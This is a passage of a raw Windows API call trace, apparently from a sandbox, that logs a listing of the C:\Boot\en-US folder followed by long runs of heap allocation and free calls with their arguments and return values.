hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.503] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.503] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.503] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.504] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.504] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.504] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0124.504] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0124.504] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.504] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.504] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.504] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.504] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.504] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.504] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.504] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.504] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.504] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.504] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.504] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.504] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.504] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.504] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.504] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.504] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.504] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.504] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.504] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.504] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.504] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.504] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.504] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.505] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.505] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.505] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.505] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.505] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.505] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.505] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.505] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.505] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.505] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.505] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.505] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.505] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.505] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.505] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.505] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.505] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.506] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.506] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.506] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.506] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.506] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.506] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.506] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.506] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.506] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.506] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.506] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.506] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.506] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.506] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.506] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.506] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.506] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.506] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.506] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.506] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.506] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.506] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.506] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.506] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.506] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.506] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.506] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.506] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.506] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.506] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.506] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.506] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.507] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.507] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.507] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.507] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.507] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.507] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.507] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.507] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.507] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.507] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.507] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.507] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.507] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.507] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.507] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.507] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.507] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.507] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.507] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.507] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.507] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.507] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.507] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.507] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.507] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.507] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.507] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.507] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.507] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.507] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.507] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.508] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.508] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.508] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.508] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.508] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.508] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.508] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.508] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.508] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.508] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.508] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.508] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.508] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.508] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.508] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.508] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.508] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.508] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.508] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.508] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.508] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.508] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.508] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.508] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.508] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.508] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.508] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.508] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.508] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.508] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.508] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.509] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.509] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.509] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.509] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.509] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.509] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.509] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.509] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.509] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.509] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.509] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.509] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.509] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.509] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.509] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.509] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.509] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 